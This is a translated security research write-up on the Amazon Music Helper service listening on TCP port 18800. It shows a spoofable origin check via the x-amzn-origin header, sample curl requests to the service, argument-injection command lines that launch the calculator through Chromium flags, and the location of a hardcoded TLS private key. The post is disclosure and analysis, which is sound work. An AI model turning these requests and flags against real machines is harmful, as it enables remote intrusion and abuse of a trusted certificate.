翻譯自:https://medium.com/0xcc/what-the-heck-is-tcp-port-18800-a16899f0f48f
翻譯:聶心明
如果安裝Amazon音樂客戶端的話,你會懷疑開在18800端口的程序到底是什麼:
➜ ~ sudo tcpview
Password:
Proto Local address Remote address Status PID Program name
tcp 0.0.0.0:18800 - LISTEN 35050 Amazon Music Helper
windows?也是一樣的
在2014年,有人抱怨這個東西
https://chriscarey.com/blog/2014/10/08/how-to-stop-amazon-music-helper-from-running-in-the-background-osx/
所以它究竟做了什麼?
通過快速的檢查,我們知道這個端口屬於
/Applications/Amazon Music.app/Contents/MacOS/Amazon Music Helper
在accept
處下斷點,然後nc 127.1 18800
看看發生了什麼:
Process 35050 stopped
* thread #6, stop reason = breakpoint 1.1
frame #0: 0x0000000104855af0 Amazon Music Helper` boost::asio::detail::socket_ops::accept(int, sockaddr*, unsigned long*, boost::system::error_code&)
Amazon Music Helper`boost::asio::detail::socket_ops::accept:
-> 0x104855af0 <+0>: push rbp
(lldb) bt
* thread #6, stop reason = breakpoint 1.1
* frame #0: 0x0000000104855af0 Amazon Music Helper` boost::asio::detail::socket_ops::accept(int, sockaddr*, unsigned long*, boost::system::error_code&)
...
frame #5: 0x0000000104813fe5 Amazon Music Helper` boost::asio::detail::task_io_service::run(boost::system::error_code&) + 165
frame #6: 0x000000010480daea Amazon Music Helper` Morpho::HttpDispatcher::startListening(int) + 1418
frame #7: 0x0000000104897a4c Amazon Music Helper` boost::(anonymous namespace)::thread_proxy(void*) + 156
這個是http服務器?但是我curl失敗了
➜ ~ curl localhost:18800/test
curl: (52) Empty reply from server
當服務器需要ssl的時候就會發生這樣的事情並且你只要以文本模式發送請求就好。所以,讓我們試試不同的payload:
➜ ~ curl https://localhost:18800/test -k
denied
現在它奏效了
幸虧symbols沒有在編譯的時候被去掉,快速分析後發現,Windows客戶端和mac客戶端有大量相似的代碼,但是msvc已經把所有的symbols全部被移到了pdb裏面,以至於代碼非常難讀。
所以Morpho是代碼名
- Morpho::CrossDomainHandler (^/crossdomain[.]xml$)
- Morpho::LaunchHandler (^/morpho)
- Morpho::SystemHandler (^/.+)
每一個處理接口都有一個叫requireOrigin
去檢查傳遞進來的請求:
請求的檢查在sym.Morpho::HttpDispatcher::getOriginMatchString_HttpRequest
實現
截圖中有太多的代碼嗎?不要擔心,下面是一個簡單的僞代碼:
regex = RegExp("http(s)?.*[.]amazon[.](com|co[.]uk|de|fr|it|es|co[.]jp|ca|in|com[.]au)(:[0-9]{1,4})?");
if (regex.match(request.headers["origin"]) && regex.match(request.headers["origin"]))
return true;
if (regex.match(request.headers["x-amzn-origin"]))
return true;
return false;
因爲它接受自定義的頭部x-amzn-origin
,第三方網站很容易僞造這樣的請求,除此之外,這個RESTful被暴露在所有的網絡接口上,所以如果你是Shodan或者ZoomEye的粉絲,你會得到一些意想不到的驚喜?
我們去看看這些處理程序。
Morpho::SystemHandler
它可以直接接收pathname,先不要關心參數。它會返回系統信息:
➜ ~ curl -H "x-amzn-origin: https://a.amazon.com" -k https://127.1:18800/morpho
{ "version":"7.0.3.1540", "device":"AMZN{pretty_long_uuid_here}", "osType":"osx", "osVersion":"10.14.2" }
Morpho::LaunchHandler
這個的危害性就很大了,如果路徑名匹配到了下圖中的正則sym._anonymousnamespace_::kLaunchRegEx
,那麼它們就會被初始化爲:^/((purchase|download|play|cplaunch).*)$
所以,當Amazon Music啓動時就會把pathname作爲命令行參數
此外,如果http的verb是POST,參數就是斜線加http請求體。比如,下面這個請求:
➜ ~ curl -v -k -H "x-amzn-origin: https://a.amazon.com" -XPOST "https://127.0.0.1:18800/play" --data "boy"
結果就是:
Executable module set to "/Applications/Amazon Music.app/Contents/MacOS/Amazon Music".
Architecture set to: x86_64h-apple-macosx.
(lldb) po [[NSProcessInfo processInfo] arguments]
<__NSArrayI 0x7ff256dfc010>(
/Applications/Amazon Music.app/Contents/MacOS/Amazon Music,
play/boy
)
很幸運,請求的pathname通過了正則檢查,然後他們用QProcess::startDetached(QString const&, QStringList const&)
代替了它的兄弟QProcess::startDetached(QString const&)
。爲什麼?
主程序的執行基於libCEF,它也支持Chromium命令參數。如果有機會我可以直接改變啓動參數,就像下面這樣:
➜ ~ /Applications/Amazon\ Music.app/Contents/MacOS/Amazon\ Music --no-sandbox --renderer-cmd-prefix="/Applications/Calculator.app/Contents/MacOS/Calculator"
如果是Windows,則可以執行:
"Amazon Music.exe" --no-sandbox --renderer-cmd-prefix="cmd /c calc"
親愛的Amazon開發者,你已經非常接近可造成蠕蟲攻擊的遠程命令執行漏洞了。幸運的是,這些並沒有發生。
還有一件事就是,你不需要一個證書去運行https嗎?讓我們添加-v 來檢查一下
* SSL connection using TLSv1.2 / AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
* subject: CN=www.amazonmusiclocal.com
* start date: Nov 12 00:00:00 2018 GMT
* expire date: Oct 18 12:00:00 2019 GMT
* issuer: C=US; O=Amazon; OU=Server CA 1B; CN=Amazon
* SSL certificate verify ok.
所以Amazon Music讓域名 www.amazonmusiclocal.com
解析到了本地迴環地址上。因爲簽名是正確的,它們的私鑰必然被分發到了客戶端裏面。它們在這裏:
[0x100006e10]> afl~Morpho::HelperServer
0x100076f40 1 31 sym.Morpho::HelperServer::getCert
0x100076f60 1 31 sym.Morpho::HelperServer::getPrivKey
0x100077070 5 234 sym.Morpho::HelperServer::getAesKey
0x100077180 33 609 sym.Morpho::HelperServer::getAesIV
這個密鑰和證書被硬編碼在初始化器裏面,你可以通過自己的努力把他們找出來:
pdf @sym.__GLOBAL__sub_I_helperServerData.cpp
就在幾天前,我讀到類似的文章,但是主角是Spotify:
實際上,我已經不需要dns劫持了,我們只要把一個播放按鈕放入到網頁中,然後讓受害者去點擊,受害者點擊之後,就會發送一條請求到本地的控制服務器中。我們甚至不需要Spotify,因爲網站之間的授權已經被搞定了,我就可以用互聯網來做這樣的事情了(有幾個技術問題和複雜的告警需要解決)
Spotify會怎麼說呢?這是產品本身的設計,它們沒有安全問題。我試圖進一步去解釋,但是他們已經確認這是產品本身的設計,不是什麼漏洞。爲了公平起見,我把spotilocal.com的證書放在了網上。現在這個證書已經被移除了,所以我猜這本身不是產品設計所期望的事情。
https://medium.com/@Zemnmez/übersicht-remote-code-execution-spotify-takeover-a5f6fd6809d0
現在沒法找到實際的利用。但是至少你會掃描局域網,然後去攻擊音樂播放器,而且現在你也可以用被信任的證書去調試web。